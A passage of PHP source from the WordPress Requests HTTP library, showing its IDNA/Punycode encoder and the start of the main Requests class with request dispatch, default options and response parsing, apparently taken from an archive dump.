			throw new Exception('Provided string is too long', 'idna.provided_too_long', $text);
		}

		// Step 2: nameprep
		$text = self::nameprep($text);

		// Step 3: UseSTD3ASCIIRules is false, continue
		// Step 4: Check if it's ASCII now
		if (self::is_ascii($text)) {
			// Skip to step 7
			/*
			 * As the `nameprep()` method returns the original string, this code will never be reached until
			 * that method is properly implemented.
			 */
			// @codeCoverageIgnoreStart
			if (strlen($text) < self::MAX_LENGTH) {
				return $text;
			}

			throw new Exception('Prepared string is too long', 'idna.prepared_too_long', $text);
			// @codeCoverageIgnoreEnd
		}

		// Step 5: Check ACE prefix
		if (strpos($text, self::ACE_PREFIX) === 0) {
			throw new Exception('Provided string begins with ACE prefix', 'idna.provided_is_prefixed', $text);
		}

		// Step 6: Encode with Punycode
		$text = self::punycode_encode($text);

		// Step 7: Prepend ACE prefix
		$text = self::ACE_PREFIX . $text;

		// Step 8: Check size
		if (strlen($text) < self::MAX_LENGTH) {
			return $text;
		}

		throw new Exception('Encoded string is too long', 'idna.encoded_too_long', $text);
	}

	/**
	 * Check whether a given text string contains only ASCII characters
	 *
	 * @internal (Testing found regex was the fastest implementation)
	 *
	 * @param string $text Text to examine.
	 * @return bool Is the text string ASCII-only?
	 */
	protected static function is_ascii($text) {
		return (preg_match('/(?:[^\x00-\x7F])/', $text) !== 1);
	}

	/**
	 * Prepare a text string for use as an IDNA name
	 *
	 * @todo Implement this based on RFC 3491 and the newer 5891
	 * @param string $text Text to prepare.
	 * @return string Prepared string
	 */
	protected static function nameprep($text) {
		return $text;
	}

	/**
	 * Convert a UTF-8 string to a UCS-4 codepoint array
	 *
	 * Based on \WpOrg\Requests\Iri::replace_invalid_with_pct_encoding()
	 *
	 * @param string $input Text to convert.
	 * @return array Unicode code points
	 *
	 * @throws \WpOrg\Requests\Exception Invalid UTF-8 codepoint (`idna.invalidcodepoint`)
	 */
	protected static function utf8_to_codepoints($input) {
		$codepoints = [];

		// Get number of bytes
		$strlen = strlen($input);

		// phpcs:ignore Generic.CodeAnalysis.JumbledIncrementer -- This is a deliberate choice.
		for ($position = 0; $position < $strlen; $position++) {
			$value = ord($input[$position]);

			if ((~$value & 0x80) === 0x80) {            // One byte sequence:
				$character = $value;
				$length    = 1;
				$remaining = 0;
			} elseif (($value & 0xE0) === 0xC0) {       // Two byte sequence:
				$character = ($value & 0x1F) << 6;
				$length    = 2;
				$remaining = 1;
			} elseif (($value & 0xF0) === 0xE0) {       // Three byte sequence:
				$character = ($value & 0x0F) << 12;
				$length    = 3;
				$remaining = 2;
			} elseif (($value & 0xF8) === 0xF0) {       // Four byte sequence:
				$character = ($value & 0x07) << 18;
				$length    = 4;
				$remaining = 3;
			} else {                                    // Invalid byte:
				throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $value);
			}

			if ($remaining > 0) {
				if ($position + $length > $strlen) {
					throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
				}

				for ($position++; $remaining > 0; $position++) {
					$value = ord($input[$position]);

					// If it is invalid, count the sequence as invalid and reprocess the current byte:
					if (($value & 0xC0) !== 0x80) {
						throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
					}

					--$remaining;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}

				$position--;
			}

			if (// Non-shortest form sequences are invalid
				$length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					$character > 0xD7FF && $character < 0xF900
					|| $character < 0x20
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xEFFFD
				)
			) {
				throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
			}

			$codepoints[] = $character;
		}

		return $codepoints;
	}

	/**
	 * RFC3492-compliant encoder
	 *
	 * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code
	 *
	 * @param string $input UTF-8 encoded string to encode
	 * @return string Punycode-encoded string
	 *
	 * @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`)
	 */
	public static function punycode_encode($input) {
		$output = '';
		// let n = initial_n
		$n = self::BOOTSTRAP_INITIAL_N;
		// let delta = 0
		$delta = 0;
		// let bias = initial_bias
		$bias = self::BOOTSTRAP_INITIAL_BIAS;
		// let h = b = the number of basic code points in the input
		$h = 0;
		$b = 0; // see loop
		// copy them to the output in order
		$codepoints = self::utf8_to_codepoints($input);
		$extended   = [];

		foreach ($codepoints as $char) {
			if ($char < 128) {
				// Character is valid ASCII
				// TODO: this should also check if it's valid for a URL
				$output .= chr($char);
				$h++;

				// Check if the character is non-ASCII, but below initial n
				// This never occurs for Punycode, so ignore in coverage
				// @codeCoverageIgnoreStart
			} elseif ($char < $n) {
				throw new Exception('Invalid character', 'idna.character_outside_domain', $char);
				// @codeCoverageIgnoreEnd
			} else {
				$extended[$char] = true;
			}
		}

		$extended = array_keys($extended);
		sort($extended);
		$b = $h;
		// [copy them] followed by a delimiter if b > 0
		if (strlen($output) > 0) {
			$output .= '-';
		}

		// {if the input contains a non-basic code point < n then fail}
		// while h < length(input) do begin
		$codepointcount = count($codepoints);
		while ($h < $codepointcount) {
			// let m = the minimum code point >= n in the input
			$m = array_shift($extended);
			//printf('next code point to insert is %s' . PHP_EOL, dechex($m));
			// let delta = delta + (m - n) * (h + 1), fail on overflow
			$delta += ($m - $n) * ($h + 1);
			// let n = m
			$n = $m;
			// for each code point c in the input (in order) do begin
			for ($num = 0; $num < $codepointcount; $num++) {
				$c = $codepoints[$num];
				// if c < n then increment delta, fail on overflow
				if ($c < $n) {
					$delta++;
				} elseif ($c === $n) { // if c == n then begin
					// let q = delta
					$q = $delta;
					// for k = base to infinity in steps of base do begin
					for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) {
						// let t = tmin if k <= bias {+ tmin}, or
						//     tmax if k >= bias + tmax, or k - bias otherwise
						if ($k <= ($bias + self::BOOTSTRAP_TMIN)) {
							$t = self::BOOTSTRAP_TMIN;
						} elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) {
							$t = self::BOOTSTRAP_TMAX;
						} else {
							$t = $k - $bias;
						}

						// if q < t then break
						if ($q < $t) {
							break;
						}

						// output the code point for digit t + ((q - t) mod (base - t))
						$digit   = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t)));
						$output .= self::digit_to_char($digit);
						// let q = (q - t) div (base - t)
						$q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t));
					} // end
					// output the code point for digit q
					$output .= self::digit_to_char($q);
					// let bias = adapt(delta, h + 1, test h equals b?)
					$bias = self::adapt($delta, $h + 1, $h === $b);
					// let delta = 0
					$delta = 0;
					// increment h
					$h++;
				} // end
			} // end
			// increment delta and n
			$delta++;
			$n++;
		} // end

		return $output;
	}

	/**
	 * Convert a digit to its respective character
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-5
	 *
	 * @param int $digit Digit in the range 0-35
	 * @return string Single character corresponding to digit
	 *
	 * @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`)
	 */
	protected static function digit_to_char($digit) {
		// @codeCoverageIgnoreStart
		// As far as I know, this never happens, but still good to be sure.
		if ($digit < 0 || $digit > 35) {
			throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit);
		}

		// @codeCoverageIgnoreEnd
		$digits = 'abcdefghijklmnopqrstuvwxyz0123456789';
		return substr($digits, $digit, 1);
	}

	/**
	 * Adapt the bias
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-6.1
	 * @param int $delta
	 * @param int $numpoints
	 * @param bool $firsttime
	 * @return int|float New bias
	 *
	 * function adapt(delta,numpoints,firsttime):
	 */
	protected static function adapt($delta, $numpoints, $firsttime) {
		// if firsttime then let delta = delta div damp
		if ($firsttime) {
			$delta = floor($delta / self::BOOTSTRAP_DAMP);
		} else {
			// else let delta = delta div 2
			$delta = floor($delta / 2);
		}

		// let delta = delta + (delta div numpoints)
		$delta += floor($delta / $numpoints);
		// let k = 0
		$k = 0;
		// while delta > ((base - tmin) * tmax) div 2 do begin
		$max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2);
		while ($delta > $max) {
			// let delta = delta div (base - tmin)
			$delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN));
			// let k = k + base
			$k += self::BOOTSTRAP_BASE;
		} // end
		// return k + (((base - tmin + 1) * delta) div (delta + skew))
		return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW));
	}
}
Requests.php000064400000102321151024327070007070 0ustar00<?php
/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Auth\Basic;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\IdnaEncoder;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Proxy\Http;
use WpOrg\Requests\Response;
use WpOrg\Requests\Transport\Curl;
use WpOrg\Requests\Transport\Fsockopen;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */
class Requests {
	/**
	 * POST method
	 *
	 * @var string
	 */
	const POST = 'POST';

	/**
	 * PUT method
	 *
	 * @var string
	 */
	const PUT = 'PUT';

	/**
	 * GET method
	 *
	 * @var string
	 */
	const GET = 'GET';

	/**
	 * HEAD method
	 *
	 * @var string
	 */
	const HEAD = 'HEAD';

	/**
	 * DELETE method
	 *
	 * @var string
	 */
	const DELETE = 'DELETE';

	/**
	 * OPTIONS method
	 *
	 * @var string
	 */
	const OPTIONS = 'OPTIONS';

	/**
	 * TRACE method
	 *
	 * @var string
	 */
	const TRACE = 'TRACE';

	/**
	 * PATCH method
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 * @var string
	 */
	const PATCH = 'PATCH';

	/**
	 * Default size of buffer size to read streams
	 *
	 * @var integer
	 */
	const BUFFER_SIZE = 1160;

	/**
	 * Option defaults.
	 *
	 * @see \WpOrg\Requests\Requests::get_default_options()
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const OPTION_DEFAULTS = [
		'timeout'          => 10,
		'connect_timeout'  => 10,
		'useragent'        => 'php-requests/' . self::VERSION,
		'protocol_version' => 1.1,
		'redirected'       => 0,
		'redirects'        => 10,
		'follow_redirects' => true,
		'blocking'         => true,
		'type'             => self::GET,
		'filename'         => false,
		'auth'             => false,
		'proxy'            => false,
		'cookies'          => false,
		'max_bytes'        => false,
		'idn'              => true,
		'hooks'            => null,
		'transport'        => null,
		'verify'           => null,
		'verifyname'       => true,
	];

	/**
	 * Default supported Transport classes.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const DEFAULT_TRANSPORTS = [
		Curl::class      => Curl::class,
		Fsockopen::class => Fsockopen::class,
	];

	/**
	 * Current version of Requests
	 *
	 * @var string
	 */
	const VERSION = '2.0.11';

	/**
	 * Selected transport name
	 *
	 * Use {@see \WpOrg\Requests\Requests::get_transport()} instead
	 *
	 * @var array
	 */
	public static $transport = [];

	/**
	 * Registered transport classes
	 *
	 * @var array
	 */
	protected static $transports = [];

	/**
	 * Default certificate path.
	 *
	 * @see \WpOrg\Requests\Requests::get_certificate_path()
	 * @see \WpOrg\Requests\Requests::set_certificate_path()
	 *
	 * @var string
	 */
	protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem';

	/**
	 * All (known) valid deflate, gzip header magic markers.
	 *
	 * These markers relate to different compression levels.
	 *
	 * @link https://stackoverflow.com/a/43170354/482864 Marker source.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	private static $magic_compression_headers = [
		"\x1f\x8b" => true, // Gzip marker.
		"\x78\x01" => true, // Zlib marker - level 1.
		"\x78\x5e" => true, // Zlib marker - level 2 to 5.
		"\x78\x9c" => true, // Zlib marker - level 6.
		"\x78\xda" => true, // Zlib marker - level 7 to 9.
	];

	/**
	 * This is a static class, do not instantiate it
	 *
	 * @codeCoverageIgnore
	 */
	private function __construct() {}

	/**
	 * Register a transport
	 *
	 * @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface
	 */
	public static function add_transport($transport) {
		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		self::$transports[$transport] = $transport;
	}

	/**
	 * Get the fully qualified class name (FQCN) for a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return string FQCN of the transport to use, or an empty string if no transport was
	 *                found which provided the requested capabilities.
	 */
	protected static function get_transport_class(array $capabilities = []) {
		// Caching code, don't bother testing coverage.
		// @codeCoverageIgnoreStart
		// Array of capabilities as a string to be used as an array key.
		ksort($capabilities);
		$cap_string = serialize($capabilities);

		// Don't search for a transport if it's already been done for these $capabilities.
		if (isset(self::$transport[$cap_string])) {
			return self::$transport[$cap_string];
		}

		// Ensure we will not run this same check again later on.
		self::$transport[$cap_string] = '';
		// @codeCoverageIgnoreEnd

		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		// Find us a working transport.
		foreach (self::$transports as $class) {
			if (!class_exists($class)) {
				continue;
			}

			$result = $class::test($capabilities);
			if ($result === true) {
				self::$transport[$cap_string] = $class;
				break;
			}
		}

		return self::$transport[$cap_string];
	}

	/**
	 * Get a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return \WpOrg\Requests\Transport
	 * @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`).
	 */
	protected static function get_transport(array $capabilities = []) {
		$class = self::get_transport_class($capabilities);

		if ($class === '') {
			throw new Exception('No working transports found', 'notransport', self::$transports);
		}

		return new $class();
	}

	/**
	 * Checks to see if we have a transport for the capabilities requested.
	 *
	 * Supported capabilities can be found in the {@see \WpOrg\Requests\Capability}
	 * interface as constants.
	 *
	 * Example usage:
	 * `Requests::has_capabilities([Capability::SSL => true])`.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport has the requested capabilities.
	 */
	public static function has_capabilities(array $capabilities = []) {
		return self::get_transport_class($capabilities) !== '';
	}

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public static function get($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public static function head($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public static function delete($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::DELETE, $options);
	}

	/**
	 * Send a TRACE request
	 */
	public static function trace($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::TRACE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public static function post($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::POST, $options);
	}
	/**
	 * Send a PUT request
	 */
	public static function put($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PUT, $options);
	}

	/**
	 * Send an OPTIONS request
	 */
	public static function options($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::OPTIONS, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public static function patch($url, $headers, $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * The `$options` parameter takes an associative array with the following
	 * options:
	 *
	 * - `timeout`: How long should we wait for a response?
	 *    Note: for cURL, a minimum of 1 second applies, as DNS resolution
	 *    operates at second-resolution only.
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `connect_timeout`: How long should we wait while trying to connect?
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `useragent`: Useragent to send to the server
	 *    (string, default: php-requests/$version)
	 * - `follow_redirects`: Should we follow 3xx redirects?
	 *    (boolean, default: true)
	 * - `redirects`: How many times should we redirect before erroring?
	 *    (integer, default: 10)
	 * - `blocking`: Should we block processing on this request?
	 *    (boolean, default: true)
	 * - `filename`: File to stream the body to instead.
	 *    (string|boolean, default: false)
	 * - `auth`: Authentication handler or array of user/password details to use
	 *    for Basic authentication
	 *    (\WpOrg\Requests\Auth|array|boolean, default: false)
	 * - `proxy`: Proxy details to use for proxy by-passing and authentication
	 *    (\WpOrg\Requests\Proxy|array|string|boolean, default: false)
	 * - `max_bytes`: Limit for the response body size.
	 *    (integer|boolean, default: false)
	 * - `idn`: Enable IDN parsing
	 *    (boolean, default: true)
	 * - `transport`: Custom transport. Either a class name, or a
	 *    transport object. Defaults to the first working transport from
	 *    {@see \WpOrg\Requests\Requests::getTransport()}
	 *    (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()})
	 * - `hooks`: Hooks handler.
	 *    (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks())
	 * - `verify`: Should we verify SSL certificates? Allows passing in a custom
	 *    certificate file as a string. (Using true uses the system-wide root
	 *    certificate store instead, but this may have different behaviour
	 *    across transports.)
	 *    (string|boolean, default: certificates/cacert.pem)
	 * - `verifyname`: Should we verify the common name in the SSL certificate?
	 *    (boolean, default: true)
	 * - `data_format`: How should we send the `$data` parameter?
	 *    (string, one of 'query' or 'body', default: 'query' for
	 *    HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH)
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use Requests constants)
	 * @param array $options Options for the request (see description for more information)
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_string($type) === false) {
			throw InvalidArgument::create(4, '$type', 'string', gettype($type));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(5, '$options', 'array', gettype($options));
		}

		if (empty($options['type'])) {
			$options['type'] = $type;
		}

		$options = array_merge(self::get_default_options(), $options);

		self::set_defaults($url, $headers, $data, $type, $options);

		$options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$need_ssl     = (stripos($url, 'https://') === 0);
			$capabilities = [Capability::SSL => $need_ssl];
			$transport    = self::get_transport($capabilities);
		}

		$response = $transport->request($url, $headers, $data, $options);

		$options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]);

		return self::parse_response($response, $url, $headers, $data, $options);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * The `$requests` parameter takes an associative or indexed array of
	 * request fields. The key of each request can be used to match up the
	 * request with the returned data, or with the request passed into your
	 * `multiple.request.complete` callback.
	 *
	 * The request fields value is an associative array with the following keys:
	 *
	 * - `url`: Request URL Same as the `$url` parameter to
	 *    {@see \WpOrg\Requests\Requests::request()}
	 *    (string, required)
	 * - `headers`: Associative array of header fields. Same as the `$headers`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array, default: `array()`)
	 * - `data`: Associative array of data fields or a string. Same as the
	 *    `$data` parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array|string, default: `array()`)
	 * - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (string, default: `\WpOrg\Requests\Requests::GET`)
	 * - `cookies`: Associative array of cookie name to value, or cookie jar.
	 *    (array|\WpOrg\Requests\Cookie\Jar)
	 *
	 * If the `$options` parameter is specified, individual requests will
	 * inherit options from it. This can be used to use a single hooking system,
	 * or set all the types to `\WpOrg\Requests\Requests::POST`, for example.
	 *
	 * In addition, the `$options` parameter takes the following global options:
	 *
	 * - `complete`: A callback for when a request is complete. Takes two
	 *    parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the
	 *    ID from the request array (Note: this can also be overridden on a
	 *    per-request basis, although that's a little silly)
	 *    (callback)
	 *
	 * @param array $requests Requests data (see description for more information)
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public static function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$options = array_merge(self::get_default_options(true), $options);

		if (!empty($options['hooks'])) {
			$options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
			if (!empty($options['complete'])) {
				$options['hooks']->register('multiple.request.complete', $options['complete']);
			}
		}

		foreach ($requests as $id => &$request) {
			if (!isset($request['headers'])) {
				$request['headers'] = [];
			}

			if (!isset($request['data'])) {
				$request['data'] = [];
			}

			if (!isset($request['type'])) {
				$request['type'] = self::GET;
			}

			if (!isset($request['options'])) {
				$request['options']         = $options;
				$request['options']['type'] = $request['type'];
			} else {
				if (empty($request['options']['type'])) {
					$request['options']['type'] = $request['type'];
				}

				$request['options'] = array_merge($options, $request['options']);
			}

			self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']);

			// Ensure we only hook in once
			if ($request['options']['hooks'] !== $options['hooks']) {
				$request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
				if (!empty($request['options']['complete'])) {
					$request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']);
				}
			}
		}

		unset($request);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$transport = self::get_transport();
		}

		$responses = $transport->request_multiple($requests, $options);

		foreach ($responses as $id => &$response) {
			// If our hook got messed with somehow, ensure we end up with the
			// correct response
			if (is_string($response)) {
				$request = $requests[$id];
				self::parse_multiple($response, $request);
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]);
			}
		}

		return $responses;
	}

	/**
	 * Get the default options
	 *
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 * @param boolean $multirequest Is this a multirequest?
	 * @return array Default option values
	 */
	protected static function get_default_options($multirequest = false) {
		$defaults           = static::OPTION_DEFAULTS;
		$defaults['verify'] = self::$certificate_path;

		if ($multirequest !== false) {
			$defaults['complete'] = null;
		}

		return $defaults;
	}

	/**
	 * Get default certificate path.
	 *
	 * @return string Default certificate path.
	 */
	public static function get_certificate_path() {
		return self::$certificate_path;
	}

	/**
	 * Set default certificate path.
	 *
	 * @param string|Stringable|bool $path Certificate path, pointing to a PEM file.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean.
	 */
	public static function set_certificate_path($path) {
		if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) {
			throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path));
		}

		self::$certificate_path = $path;
	}

	/**
	 * Set the default values
	 *
	 * The $options parameter is updated with the results.
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type
	 * @param array $options Options for the request
	 * @return void
	 *
	 * @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL.
	 */
	protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) {
		if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) {
			throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url);
		}

		if (empty($options['hooks'])) {
			$options['hooks'] = new Hooks();
		}

		if (is_array($options['auth'])) {
			$options['auth'] = new Basic($options['auth']);
		}

		if ($options['auth'] !== false) {
			$options['auth']->register($options['hooks']);
		}

		if (is_string($options['proxy']) || is_array($options['proxy'])) {
			$options['proxy'] = new Http($options['proxy']);
		}

		if ($options['proxy'] !== false) {
			$options['proxy']->register($options['hooks']);
		}

		if (is_array($options['cookies'])) {
			$options['cookies'] = new Jar($options['cookies']);
		} elseif (empty($options['cookies'])) {
			$options['cookies'] = new Jar();
		}

		if ($options['cookies'] !== false) {
			$options['cookies']->register($options['hooks']);
		}

		if ($options['idn'] !== false) {
			$iri       = new Iri($url);
			$iri->host = IdnaEncoder::encode($iri->ihost);
			$url       = $iri->uri;
		}

		// Massage the type to ensure we support it.
		$type = strtoupper($type);

		if (!isset($options['data_format'])) {
			if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) {
				$options['data_format'] = 'query';
			} else {
				$options['data_format'] = 'body';
			}
		}
	}

	/**
	 * HTTP response parser
	 *
	 * @param string $headers Full response text including headers and body
	 * @param string $url Original request URL
	 * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects
	 * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects
	 * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`)
	 */
	protected static function parse_response($headers, $url, $req_headers, $req_data, $options) {
		$return = new Response();
		if (!$options['blocking']) {
			return $return;
		}

		$return->raw  = $headers;
		$return->url  = (string) $url;
		$return->body = '';

		if (!$options['filename']) {
			$pos = strpos($headers, "\r\n\r\n");
			if ($pos === false) {
				// Crap!
				throw new Exception('Missing header/body separator', 'requests.no_crlf_separator');
			}

			$headers = substr($return->raw, 0, $pos);
			// Headers will always be separated from the body by two new lines - `\n\r\n\r`.
			$body = substr($return->raw, $pos + 4);
			if (!empty($body)) {
				$return->body = $body;
			}
		}

		// Pretend CRLF = LF for compatibility (RFC 2616, section 19.3)
		$headers = str_replace("\r\n", "\n", $headers);
		// Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
		$headers = preg_replace('/\n[ \t]/', ' ', $headers);
		$headers = explode("\n", $headers);
		preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches);
		if (empty($matches)) {
			throw new Exception('Response could not be parsed', 'noversion', $headers);
		}

		$return->protocol_version = (float) $matches[1];
		$return->status_code      = (int) $matches[2];
		if ($return->status_code >= 200 && $return->status_code < 300) {
			$return->success = true;
		}

		foreach ($headers as $header) {
			list($key, $value) = explode(':', $header, 2);
			$value             = trim($value);
			preg_replace('#(\s+)#i', ' ', $value);
			$return->headers[$key] = $value;
		}

		if (isset($return->headers['transfer-encoding'])) {
			$return->body = self::decode_chunked($return->body);
			unset($return->headers['transfer-encoding']);
		}

		if (isset($return->headers['content-encoding'])) {
			$return->body = self::decompress($return->body);
		}

		//fsockopen and cURL compatibility
		if (isset($return->headers['connection'])) {
			unset($return->headers['connection']);
		}

		$options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]);

		if ($return->is_redirect() && $options['follow_redirects'] === true) {
			if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) {
				if ($return->status_code === 303) {
					$options['type'] = self::GET;
				}

				$options['redirected']++;
				$location = $return->headers['location'];
				if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) {
					// relative redirect, for compatibility make it absolute
					$location = Iri::absolutize($url, $location);
					$location = $location->uri;
				}

				$hook_args = [
					&$location,
					&$req_headers,
					&$req_data,
					&$options,
					$return,
				];
